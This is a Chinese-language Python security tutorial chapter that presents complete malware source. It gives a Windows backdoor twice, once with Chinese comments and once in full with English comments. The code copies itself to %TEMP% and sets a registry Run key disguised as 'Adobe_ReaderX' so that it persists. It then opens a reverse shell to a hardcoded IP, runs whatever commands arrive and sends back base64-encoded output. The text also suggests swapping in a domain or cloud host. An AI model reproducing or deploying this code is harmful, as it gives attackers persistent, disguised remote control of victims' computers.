本節將帶著大家利用前面章節所學到的知識使用Python和PyInstalle自己的exp,在前面的[章節][1],講到了如何把一個python腳本編譯成為一個可執行的PE文件,現在讓我們利用前面學到的知識快速寫一個windows工具腳本.
###開始編碼
大家其實會發現,很多惡意中間件最想干的一件事情就是獲得被攻擊系統的持久性(永久的潛伏在系統里面,永久性后門),像在windows里面最常見的一種方式就是被攻擊系統的注冊表鍵值.
`Software\Microsoft\Windows\CurrentVersion\Run`
下面的這一小段代碼實現的功能就是把程序拷貝到%TEMP%目錄下面并且修改了注冊表,當用戶登錄到系統的時間就會執行這個后門:
```
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# 復制執行文件的到 %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# 查詢注冊表對應的鍵值是多少
# 給該后門添加自動執行的權限
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# 設置鍵值:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
```
現在我們已經把后門拷貝到了%TEMP%目錄下面,并且給它添加了自動執行的權限,下面是一個shell,通過一個Python腳本——[TrustedSec][2]來實現攻擊,但是做了一點修改,對傳輸的文本做了一個base64編碼.
```
def shell():
#Base64 編碼反向shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.1', int(443)))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
shell()
if __name__ == "__main__":
main()
```
簡單的解釋這個程序:當這個程序執行的時候會與攻擊者的電腦建立一個連接,但是腳本中的連接是一個固定IP,這里可以修改為一個域名或者是Amazon cloud的服務地址,從下圖可以看出攻擊者與受害者建立一個網絡連接,你也可以注意到兩者之間被base64編碼后的數據流量包
![malware][3]
下面是完整代碼:
```
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
def shell():
#Base64 encoded reverse shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.1', int(443)))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
shell()
if __name__ == "__main__":
main()
```
[1]: https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x4.md
[2]: https://www.trustedsec.com/files/RevShell_PoC_v1.py
[3]: img/0xc.png